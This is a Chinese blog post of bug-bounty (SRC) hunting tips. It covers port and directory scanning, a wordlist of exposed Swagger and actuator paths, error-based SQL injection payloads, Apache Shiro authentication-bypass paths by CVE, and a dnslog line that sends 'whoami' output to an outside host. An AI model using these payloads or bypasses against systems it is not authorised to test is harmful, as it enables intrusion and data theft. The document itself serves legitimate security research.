Ywc's blog

SRC挖洞经验总结

Word count: 2.3kReading time: 8 min
2022/05/21

总结

  1. 在交高危漏洞时,录屏之后再提交,以防SRC耍赖,修完后,直接忽略,无法出示证据。

  2. 手工测试技巧:

    • 真403、404(不可视):由于服务器配置导致无法访问到内网,只有host碰撞一种破局方法

    • 假403、404(不可视 or 可视):只是没有访问到对应文件,目录扫描如果扫到了还是有机会出可视界面的,扫到可视界面就用可视界面的方法来测,没有的话也只能测接口了

    • 后台登陆页面(可视):目录扫描出后台功能、分析JS出后台接口、越权登录、逻辑问题、登录前端校验(改返回包)、有密码找回功能则分析密码重置相关漏洞、涉及各种手机邮箱验证码的功能是否有问题(可爆破、无时效性、万能验证码、返回至前端等)、图形验证码是否有效(能否绕过)、有用户注册功能则分析用户可注册(用户注册功能)、登录框注入、框架和cms本身就有0day、密码爆破、密码喷洒(推荐先搞,就算不成功也能发现存活用户)都是破局点。核心思路是能进后台(上述给出的这些手法主要都是进后台的)或者是能调用后台功能点(JS分析接口即可)。总之就是多看请求包和返回包,来针对性测各种逻辑和越权问题。

    • 有大量功能点的页面(可视):在以上三种情况的方法都适用的基础上,因为有大量不同的功能点,所以要多注意看http history来分析接口测试。核心思路百无禁忌,想测啥都行。主要是注意从功能点的角度去找漏洞。

    • 把那种可视的站点测完了之后,再来考虑测这些403、404的站点。

  3. 在开始挖洞的前期,可以先尝试找一些低危漏洞,我首推短信轰炸、邮箱轰炸、swagger-ui泄露、反射型XSS此类,主要是建立开局的信心!不要一上来就抱有太高的期望,否则容易打击自信,先从简单的慢慢来!

  4. 资产探测

    • 找到资产怎么办?首先对付这种情况最好使的方法就是换一种测绘引擎。比方说你一开始搜集用的是fofa,测完之后你可以再用hunter、quake、0zone等引擎继续去搜集资产,每家引擎用的搜集算法不同,结果也会有不同,这点不仅是SRC挖掘,渗透测试和红队打点也要注意这个,当搜集到的资产不足的时候,可以综合多个引擎来搜集资产。

工具

资产收集

系统指纹探测

  1. 目标:将收集到到域名全部进行一遍指纹探测,从中找出一些明显使用CMS、OA系统、shiro、Fastjson等的站点。
  2. 工具:

框架型站点漏洞测试

前面经过了子域名收集以及对收集到的子域名进行了指纹信息识别之后,那么对于框架型的站点,可以优先进行测试。

类似用友NC、通达OA、蓝凌OA等,可以通过尝试现有的Nday漏洞进行攻击。通过搜索引擎、微信等渠道搜索漏洞利用方式,进行漏洞使用。

非框架型站点漏洞测试

端口扫描

  • 前面就是正常的渗透了,那么一个域名只是在80、443端口才有web服务吗?不可否认有些时候真的是,但是绝大多数情况下,类似8080、8443、8081、8089、7001等端口,往往会有惊喜。

  • 常用工具nmap

    1
    2
    sudo nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v  examples.com
    sudo nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -p 1-65535 examples.com

目录扫描

  • dirserach、御剑等
  • dirsearchhttps://github.com/maurosoria/dirsearch
    • 具体使用方法可以查看github介绍,这里我一般是使用如下命令(因为担心线程太高所以通过-t参数设置为2)

      1
      python3 dirsearch.py -u www.xxx.com -e * -t 2
    • 支持自定义路径:

      • 路径:/dirsearch-0.4.2/db/dicc.txt
      • 可以增加springboot未授权的一些路径、swagger的路径以及一些例如vmvare-vcenter的漏洞路径。
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        /nacos/
        /nacos
        ?wsdl
        /swagger
        /api/swagger
        /swagger/ui
        /api/swagger/ui
        /swagger-ui.html
        /api/swagger-ui.html
        /user/swagger-ui.html
        /libs/swaggerui
        /api/swaggerui
        /swagger-resources/configuration/ui
        /swagger-resources/configuration/security
        /api-docs
        /v2/api-docs
        /swagger-ui.html
        /api.html
        /sw/swagger-ui.html
        /api/swagger-ui.html
        /template/swagger-ui.html
        /spring-security-rest/api/swagger-ui.html
        /spring-security-oauth-resource/swagger-ui.html
        /mappings
        /actuator/mappings
        /metrics
        /actuator/metrics
        /beans
        /actuator/beans
        /configprops

挖洞技巧

SQL注入技巧

  1. 如果你只有一次试验的机会,如何判定一个数据输入点是否存在SQL注入?
    答案是使用时间盲注,如sleep(4),如果真的存在注入,则肯定会延时4秒再显示结果。其他类型的注入都非一次试验而能确定存在的,并且一个数据输入点只要存在注入,必定存在时间盲注。

  2. 报错注入常用指令

    1
    2
    3
    ?id=2’ and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (查询语句)) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a )--+
    ?id=2’ and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+
    ?id=1’ and extractvalue(1, concat(0x7e, (select @@version),0x7e))--+

js信息收集

在一个站点扫描了目录、尝试登录失败并且没有自己注册功能的情况下,还可以从JS文件入手,获取一些URL,也许某个URL便能够未授权访问获取敏感信息呢。

Shiro权限绕过

  • CVE-2016-6802
    • 在访问路径前加上/任意目录名/../,即可绕过访问
  • CVE-2020-1957
    • /demo/..;/admin/index,其中demo为授权路径,admin/index为鉴权路径 /.;/hello/aaaa
  • CVE-2020-11989
    • admin/page%252fABCDEFG其中admin/page为鉴权路径,ABCDEFG为随意字符串 /hello/a%25%32%66a /;/test/hello/aaa
  • CVE-2020-13933
    • admin/%3BABCDEFG,其中admin为鉴权路径,ABCDEFG为随意字符串
  • CVE-2020-17510
    • admin/%2e
  • CVE-2020-17523
    • admin/%20,其中admin为鉴权路径
  • CVE-2022-32532
    • 特定条件下的漏洞利用:当shiro使用了RegExPatternMatcher进行路由匹配时,由于Java的正则Pattern.matches解析.默认是不匹配r或者n的,因此当path中带有%0a时可绕过正则匹配 /permit/a%0any

dnslog使用

1
`whoami`.xxxx.dnslog.cn

逻辑漏洞

逻辑漏洞之我见

框架型站点漏洞测试

​ 前面经过了子域名收集以及对收集到的子域名进行了指纹信息识别之后,那么对于框架型的站点,可以优先进行测试。

​ 类似用友NC、通达OA、蓝凌OA等,可以通过尝试现有的Nday漏洞进行攻击。通过搜索引擎、微信等渠道搜索漏洞利用方式,进行漏洞使用。

非框架型站点漏洞测试

常见的登录逻辑漏洞总结:https://blog.csdn.net/qq_63217130/article/details/130187929

小程序、APP

web端没有思路的时候,可以结合小程序、APP来进行渗透。小程序或APP的服务端其实可以在一定程度上与web应用的服务端相联系。

也就是说, 在小程序或者APP上,一样能够挖掘web端的漏洞,如SQL注入、XSS等,并且相对来说,这类等服务端安全措施会相对没有那么完备,所以在web端确实没有思路的时候,可以迂回渗透,从小程序、APP中进行。

1
2
# 小程序抓包、APP抓包参考链接:
https://mp.weixin.qq.com/s/xuoVxBsN-t5KcwuyGpR56ghttps://mp.weixin.qq.com/s/45YF4tBaR-TUsHyF5RvEswhttps://mp.weixin.qq.com/s/M5xu_-_6fgp8q0KjpzvjLghttps://mp.weixin.qq.com/s/Mfkbxtrxv5AvY-n_bMU7ig

Reference

CATALOG
  1. 1. 总结
  2. 2. 工具
    1. 2.1. 资产收集
    2. 2.2. 系统指纹探测
    3. 2.3. 框架型站点漏洞测试
    4. 2.4. 非框架型站点漏洞测试
    5. 2.5. 端口扫描
    6. 2.6. 目录扫描
  3. 3. 挖洞技巧
    1. 3.1. SQL注入技巧
    2. 3.2. js信息收集
    3. 3.3. Shiro权限绕过
    4. 3.4. dnslog使用
    5. 3.5. 逻辑漏洞
    6. 3.6. 框架型站点漏洞测试
    7. 3.7. 非框架型站点漏洞测试
    8. 3.8. 小程序、APP
  4. 4. Reference